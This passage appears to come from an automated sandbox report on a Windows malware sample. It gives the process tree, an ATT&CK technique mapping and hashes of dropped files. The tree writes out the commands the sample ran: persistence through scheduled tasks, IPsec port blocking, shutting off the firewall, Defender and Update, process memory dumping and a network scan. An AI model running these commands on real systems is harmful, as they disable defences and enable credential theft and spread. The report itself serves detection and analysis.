  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "jivsgttli" /ru system /tr "cmd /c echo Y|cacls C:\Windows\unlujiui\jztlttt.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4012
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:2144
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "jivsgttli" /ru system /tr "cmd /c echo Y|cacls C:\Windows\unlujiui\jztlttt.exe /p everyone:F"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3420
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "tblgcilkl" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\pulgntakv\ulniel.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2056
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3692
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "tblgcilkl" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\pulgntakv\ulniel.exe /p everyone:F"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1804
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1052
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1028
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2748
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1716
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3088
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3184
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4484
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2160
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3780
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2092
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1332
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2960
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop SharedAccess
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2824
- - C:\Windows\SysWOW64\net.exe
    net stop SharedAccess
    3⤵
    PID:620
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SharedAccess
      4⤵
      System Location Discovery: System Language Discovery
      PID:2980
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh firewall set opmode mode=disable
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5020
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall set opmode mode=disable
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:2672
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh Advfirewall set allprofiles state off
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4716
- - C:\Windows\SysWOW64\netsh.exe
    netsh Advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:1448
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop MpsSvc
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3532
- - C:\Windows\SysWOW64\net.exe
    net stop MpsSvc
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4820
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MpsSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:3560
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop WinDefend
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2860
- - C:\Windows\SysWOW64\net.exe
    net stop WinDefend
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2456
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      System Location Discovery: System Language Discovery
      PID:4556
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop wuauserv
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4288
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4012
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      PID:4224
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config MpsSvc start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3396
- - C:\Windows\SysWOW64\sc.exe
    sc config MpsSvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:1592
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config SharedAccess start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3048
- - C:\Windows\SysWOW64\sc.exe
    sc config SharedAccess start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:4360
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config WinDefend start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:400
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:4392
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config wuauserv start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3052
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:3792
- C:\Windows\TEMP\cfitjigik\kugnlttml.exe
  C:\Windows\TEMP\cfitjigik\kugnlttml.exe -accepteula -mp 784 C:\Windows\TEMP\cfitjigik\784.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2240
- C:\Windows\TEMP\xohudmc.exe
  C:\Windows\TEMP\xohudmc.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:3132
- C:\Windows\TEMP\cfitjigik\kugnlttml.exe
  C:\Windows\TEMP\cfitjigik\kugnlttml.exe -accepteula -mp 336 C:\Windows\TEMP\cfitjigik\336.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2320
- C:\Windows\TEMP\cfitjigik\kugnlttml.exe
  C:\Windows\TEMP\cfitjigik\kugnlttml.exe -accepteula -mp 1656 C:\Windows\TEMP\cfitjigik\1656.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4572
- C:\Windows\TEMP\cfitjigik\kugnlttml.exe
  C:\Windows\TEMP\cfitjigik\kugnlttml.exe -accepteula -mp 2484 C:\Windows\TEMP\cfitjigik\2484.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3976
- C:\Windows\TEMP\cfitjigik\kugnlttml.exe
  C:\Windows\TEMP\cfitjigik\kugnlttml.exe -accepteula -mp 2968 C:\Windows\TEMP\cfitjigik\2968.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2004
- C:\Windows\TEMP\cfitjigik\kugnlttml.exe
  C:\Windows\TEMP\cfitjigik\kugnlttml.exe -accepteula -mp 2076 C:\Windows\TEMP\cfitjigik\2076.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3776
- C:\Windows\TEMP\cfitjigik\kugnlttml.exe
  C:\Windows\TEMP\cfitjigik\kugnlttml.exe -accepteula -mp 2708 C:\Windows\TEMP\cfitjigik\2708.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4424
- C:\Windows\TEMP\cfitjigik\kugnlttml.exe
  C:\Windows\TEMP\cfitjigik\kugnlttml.exe -accepteula -mp 3768 C:\Windows\TEMP\cfitjigik\3768.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3084
- C:\Windows\TEMP\cfitjigik\kugnlttml.exe
  C:\Windows\TEMP\cfitjigik\kugnlttml.exe -accepteula -mp 3860 C:\Windows\TEMP\cfitjigik\3860.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1148
- C:\Windows\TEMP\cfitjigik\kugnlttml.exe
  C:\Windows\TEMP\cfitjigik\kugnlttml.exe -accepteula -mp 3924 C:\Windows\TEMP\cfitjigik\3924.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4808
- C:\Windows\TEMP\cfitjigik\kugnlttml.exe
  C:\Windows\TEMP\cfitjigik\kugnlttml.exe -accepteula -mp 4016 C:\Windows\TEMP\cfitjigik\4016.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2956
- C:\Windows\TEMP\cfitjigik\kugnlttml.exe
  C:\Windows\TEMP\cfitjigik\kugnlttml.exe -accepteula -mp 4892 C:\Windows\TEMP\cfitjigik\4892.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1824
- C:\Windows\TEMP\cfitjigik\kugnlttml.exe
  C:\Windows\TEMP\cfitjigik\kugnlttml.exe -accepteula -mp 2204 C:\Windows\TEMP\cfitjigik\2204.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3200
- C:\Windows\TEMP\cfitjigik\kugnlttml.exe
  C:\Windows\TEMP\cfitjigik\kugnlttml.exe -accepteula -mp 876 C:\Windows\TEMP\cfitjigik\876.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2324
- C:\Windows\TEMP\cfitjigik\kugnlttml.exe
  C:\Windows\TEMP\cfitjigik\kugnlttml.exe -accepteula -mp 2568 C:\Windows\TEMP\cfitjigik\2568.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1156
- C:\Windows\TEMP\cfitjigik\kugnlttml.exe
  C:\Windows\TEMP\cfitjigik\kugnlttml.exe -accepteula -mp 3932 C:\Windows\TEMP\cfitjigik\3932.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1776
- C:\Windows\TEMP\cfitjigik\kugnlttml.exe
  C:\Windows\TEMP\cfitjigik\kugnlttml.exe -accepteula -mp 1292 C:\Windows\TEMP\cfitjigik\1292.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4468
- C:\Windows\TEMP\cfitjigik\kugnlttml.exe
  C:\Windows\TEMP\cfitjigik\kugnlttml.exe -accepteula -mp 4160 C:\Windows\TEMP\cfitjigik\4160.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1648
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\cfitjigik\gliijiivv\scan.bat
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5112
- - C:\Windows\cfitjigik\gliijiivv\mapkiilyu.exe
    mapkiilyu.exe TCP 138.199.0.1 138.199.255.255 7001 512 /save
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:1628

C:\Windows\SysWOW64\ditzew.exe
C:\Windows\SysWOW64\ditzew.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:1512

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\unlujiui\jztlttt.exe /p everyone:F
1⤵
PID:1928
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:716
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\unlujiui\jztlttt.exe /p everyone:F
  2⤵
  PID:2676

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\jztlttt.exe
1⤵
PID:3916
- C:\Windows\ime\jztlttt.exe
  C:\Windows\ime\jztlttt.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:5028

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\pulgntakv\ulniel.exe /p everyone:F
1⤵
PID:632
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:4024
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\pulgntakv\ulniel.exe /p everyone:F
  2⤵
  PID:3652

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

OS Credential Dumping

T1003

LSASS Memory

T1003.001

Discovery

Network Service Discovery

T1046

Network Share Discovery

T1135

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\SysWOW64\Packet.dll

Filesize
95KB

MD5
86316be34481c1ed5b792169312673fd

SHA1
6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5

SHA256
49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918

SHA512
3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc

Download Submit
C:\Windows\SysWOW64\wpcap.dll

Filesize
275KB

MD5
4633b298d57014627831ccac89a2c50b

SHA1
e5f449766722c5c25fa02b065d22a854b6a32a5b

SHA256
b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

SHA512
29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3

Download Submit
C:\Windows\TEMP\cfitjigik\1656.dmp

Filesize
4.1MB

MD5
d7c41e00528ff4576879c4de45132dd2

SHA1
bdac9250228ac0b8ec5d091b7803f7afa9e85f9f

SHA256
6f1a69a7bab07f4675997f704ede30002a21150554084e1874f9ffb51d76a7c7

SHA512
e37b6b3833e95208d2141d7abc05f720f49f7efab431205dcd2be92dfe6a429a83068a1c5c524205a6c19d1e8951bc332ae3099615e58b1da7f9c234885d1100

Download Submit
C:\Windows\TEMP\cfitjigik\2076.dmp

Filesize
2.9MB

MD5
132072e93595ad9f06bfb3d719e2d232

SHA1
6dc14cbc17837712a118e6fa08d41bb7387fbf2a

SHA256
cd3a5bac49c174243bf315e0372f7fc6a67e8a17c4de1d56e2da8a9c8fabb825

SHA512
847d04adec0ade374c42668dcabaf2bdf81836683fbe7f25442dbe923646a02555725836d0a99aad81e35cee5d6351e44d4029a66ad0e59c025c6f8c580b420c

Download Submit
C:\Windows\TEMP\cfitjigik\2204.dmp

Filesize
1.2MB

MD5
995d90a7032d88cc7784ffbec788a102

SHA1
872b3e5cf5f67ff38a9590f17eb42e3ed15416c5

SHA256
4586edb59f070c7d0e0fc047f4afdf5b0e415cce864a1733d7b709702f9fc492

SHA512
2197a380fbc4005dae35d782971955d2697288752d1a611cda821c806e243a1ae840d22ad1c348a7531ee66fc45fd8604d58a2b165c7ccba7b68b1dbded0a469

Download Submit
C:\Windows\TEMP\cfitjigik\2484.dmp

Filesize
7.6MB

MD5
be0ca60e1e1b843bb01e0bed67a7edc6

SHA1
d20e0845b664bd9d1e3e94f5fab08d8cabf7aa6d

SHA256
d14c2754f2fb643d81813b0aad3f2890e8cb7b72401b83e57d1a3e85f5b63e15

SHA512
8714bdfae5b7280c8bfad4775441e694d42cf9aaed73d0afa7ff55caadf4090702b5c28e1370a2891fd6fd62c48129527e4243932b0026ae5605889028ee34ae

Download Submit
C:\Windows\TEMP\cfitjigik\2568.dmp

Filesize
3.0MB

MD5
ffeccb2f4322d62feb457fde9c4e66b6

SHA1
84b2dc19cba7fdaf21cb352934381fd5a6629417

SHA256
3591f794f000f8c995874b24cbfa7effaa862fcdaa9a7bb67cd07a7b48a1c5ff

SHA512
9e58bcc40d2fd6a2c553a76c49dca04d8955b733c14f4c0016e737b28f50d84816790d6f7d1cc3337447496d1a73912306352eab84e13fd3e10e1643147c206f

Download Submit
C:\Windows\TEMP\cfitjigik\2708.dmp

Filesize
826KB

MD5
64c09c5497eec4d6cdaaac43b59777f4

SHA1
e4807c72e24367f00550150702dab3be6e0f6f0d

SHA256
c8efba03e855ddc518398af51556c86145e8b06939f815cb318fb49e17a551f9

SHA512
78a5a078a3ab1fdfdc30f85c0d4b77b2fa3f08f2f9937763614ce6055d696b76db0dd332c86057e1c89429dd105f16ca670df48b1d954e086b8f862f92511e7a

Download Submit
C:\Windows\TEMP\cfitjigik\2968.dmp

Filesize
3.5MB

MD5
b17cccaa04197788a829bb86c9d9a4dd

SHA1
9c00f445878426018410a88131b317438e74eab3

SHA256
96d7db194eb6130503e0e813e3df3b6e57350d7d1dd60ef6917e7cc21caf42a8

SHA512
65984f4d963592140f3d0c749fd7db4b1087517478c55fa2d591851deef5861e5151d25e5b3a9a056050a8e8f50d15359a866695b97444676712e27aeddb4c2c

Download Submit
C:\Windows\TEMP\cfitjigik\336.dmp

Filesize
33.3MB

MD5
49f742081e6c97496334a652b4ca3173

SHA1
0b3560ff93461b69f5936524fd9a0baaf163a142

SHA256
5a7422f4477e467ddc71672b222e1a32e3d1db8b48425f50dc94c46d8f853d07

SHA512
177df5e0f485d7407113290bf8c99971824d4a0a73d520b233e7e5dbb319fc671ef968dac539c6d2c51ce833c5251c94dd7614aa81d3e4a9436708e6e99f15b0

Download Submit
C:\Windows\TEMP\cfitjigik\3768.dmp

Filesize
2.6MB

MD5
9338ef8c2e187c8217b7df9b9fe52c9d

SHA1
00b70c1e401e9ee93e7d675dd0bac846e9a277ca

SHA256
58d5640c27d0f407457bbbc7c66b05c5b1b15eadca9794120bd195fab3060c96

SHA512
b5e28a7a5a7f5e4003188c11037b028b5e80cf366f813dcd1416910f348afb5a48ddc9a8ad69d9f61e88a3f8e347e42d19b35d6e90071a24be2f067f1ba3fd5e

Download Submit
C:\Windows\TEMP\cfitjigik\3860.dmp

Filesize
20.4MB

MD5
8c2e815ac26f3aad1eabcc7388794d2d

SHA1
39d82129602a1242d45d6abc320c0d30036c5002

SHA256
eafc5f97047af392a5b3419f342b9bc97918a922a0c408f5fde99716859d6522

SHA512
43b80408ab61f83164bf50d14ce3fa8999de48714c7f87b6bacfc5a5fb81165837c94982fbfeac572e2b4d8acc9c83f8f07312564964392bfa90750005036fad

Download Submit
C:\Windows\TEMP\cfitjigik\3924.dmp

Filesize
4.1MB

MD5
c527e4e9db188af6c87f8d37275588e1

SHA1
eab04200a79c440d51a922b4700a45d96f13523d

SHA256
f5b4879be0bdbdc1a3cfc797a1fad7fe097745be8c9abc04a3450da2f8fe7aca

SHA512
41234bd5b31a0c7712b4c8b9fb167c6d749dd932e63db750266799ac439ed652ea9ed6fd22d6d2fbb76f959cf9694c44e544d342a42bf5f1548a7cb28f69df51

Download Submit
C:\Windows\TEMP\cfitjigik\4016.dmp

Filesize
44.1MB

MD5
bbe2355e4869808b46f2dcc4be8dc21c

SHA1
02b664a671268e06cd5540ba98672e7390cf099d

SHA256
67320c229a41e96459fe89027d85f867d589f38e1b76e419611e3d2331428842

SHA512
6c10c98ad407c812e8041bbee07142bdac63f5abe14bb9524103989b8bd9bc9e36fe07f345df056ae5c47dde5fc395074ecda7f65a073ef53842c4a01e8709a8

Download Submit
C:\Windows\TEMP\cfitjigik\4892.dmp

Filesize
25.9MB

MD5
658acc60aa1103711a5059e39305064d

SHA1
b360139a5875ca1680095febecbb853e0e2129e4

SHA256
378389c35120808918a5cbe9e96fd17eb716009224633ccb15e92402cf21afc7

SHA512
540f7e22d04a2e9a7ff0e6c355c9c9eed7aa14847f11a9cb54f16e194c5c36a0a778ea052f560b51e4aa6b95837173b6283393aad527b67a91f82518bfc89a27

Download Submit
C:\Windows\TEMP\cfitjigik\784.dmp

Filesize
1019KB

MD5
29ff8860fce6bc7d37f99a46388ca72b

SHA1
0d844662e923a9bcd9dc1aa46d94ff8208217b3a

SHA256
b84b91c557043bbd901132107bc73c5302af4b076d6eff03f122ad1349db10f5

SHA512
337203de0a5fb3d9541da63a300ee061b3350b177630fefce9201dedbd3784309bcb501ea055b4590df7c9927ccee98779e2aea1139fe3ce84cb4f3162d265e0

Download Submit
C:\Windows\TEMP\cfitjigik\876.dmp

Filesize
8.6MB

MD5
67d8b0ae778206728a521da3d3332edd

SHA1
6b726f91778cc70bb67de61a1cd1953cd87aa42e

SHA256
4868ee3048e404c28419e344662453ea897461c6c4e3393e86f211c82bc3bbbc

SHA512
7b34f882da413f44b8d04ab671e0ae365b80b7d7a8a13e38989a280b9c4512c0c95a1e1fdc52dbaba410d166834e37680604b67a8dfa9fa78ffe12be0da9799a

Download Submit
C:\Windows\TEMP\pulgntakv\config.json

Filesize
693B

MD5
f2d396833af4aea7b9afde89593ca56e

SHA1
08d8f699040d3ca94e9d46fc400e3feb4a18b96b

SHA256
d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34

SHA512
2f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01

Download Submit
C:\Windows\Temp\cfitjigik\kugnlttml.exe

Filesize
126KB

MD5
e8d45731654929413d79b3818d6a5011

SHA1
23579d9ca707d9e00eb62fa501e0a8016db63c7e

SHA256
a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af

SHA512
df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6

Download Submit
C:\Windows\Temp\nsf675.tmp\System.dll

Filesize
11KB

MD5
2ae993a2ffec0c137eb51c8832691bcb

SHA1
98e0b37b7c14890f8a599f35678af5e9435906e1

SHA256
681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59

SHA512
2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9

Download Submit
C:\Windows\Temp\nsf675.tmp\nsExec.dll

Filesize
6KB

MD5
b648c78981c02c434d6a04d4422a6198

SHA1
74d99eed1eae76c7f43454c01cdb7030e5772fc2

SHA256
3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

SHA512
219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2

Download Submit
C:\Windows\Temp\pulgntakv\ulniel.exe

Filesize
343KB

MD5
2b4ac7b362261cb3f6f9583751708064

SHA1
b93693b19ebc99da8a007fed1a45c01c5071fb7f

SHA256
a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23

SHA512
c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616

Download Submit
C:\Windows\Temp\xohudmc.exe

Filesize
72KB

MD5
cbefa7108d0cf4186cdf3a82d6db80cd

SHA1
73aeaf73ddd694f99ccbcff13bd788bb77f223db

SHA256
7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9

SHA512
b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1

Download Submit
C:\Windows\cfitjigik\Corporate\vfshost.exe

Filesize
381KB

MD5
fd5efccde59e94eec8bb2735aa577b2b

SHA1
51aaa248dc819d37f8b8e3213c5bdafc321a8412

SHA256
441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45

SHA512
74a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3

Download Submit
C:\Windows\cfitjigik\gliijiivv\Result.txt

Filesize
666B

MD5
de58b66f542fed89e827be858cd52b04

SHA1
d856097cc35be40031ca8d7431a1780cb7a4a0c5

SHA256
73be31d65c65853f353aa5d8b57cf621dc41f762978fcc0bb4f34ed86d753fc4

SHA512
9ebe6b61660387f14ca3c6c14e8c97a3ffb9e711898787cd941024f7e5fb306e4da9a6c45a4da2b4d84ab55bbe62ccd7780f8cbb415ce1fb98930e396a7e139a

Download Submit
C:\Windows\cfitjigik\gliijiivv\Result.txt

Filesize
2KB

MD5
1928fd3a1c6f5be94bcb58983030c57b

SHA1
5fda73a594806fdd348978d2fcbdfc9be621b14b

SHA256
332bf1e78780e1289d031b74cd57f84e500b1869bdbd51bc256a25c38fba593d

SHA512
467470b0853a6fa80542bde3048986ab5a707da7162b45f9f62b2a03fc4026f1dd1a32a12348ae945a7413da266ef6a4a97715b663f52fddb8a050418c4ed447

Download Submit
C:\Windows\cfitjigik\gliijiivv\bgjptbtki.exe

Filesize
332KB

MD5
ea774c81fe7b5d9708caa278cf3f3c68

SHA1
fc09f3b838289271a0e744412f5f6f3d9cf26cee

SHA256
4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38

SHA512
7cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb

Download Submit
C:\Windows\cfitjigik\gliijiivv\wpcap.exe

Filesize
424KB

MD5
e9c001647c67e12666f27f9984778ad6

SHA1
51961af0a52a2cc3ff2c4149f8d7011490051977

SHA256
7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d

SHA512
56f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe

Download Submit
C:\Windows\system32\drivers\etc\hosts

Filesize
1KB

MD5
c838e174298c403c2bbdf3cb4bdbb597

SHA1
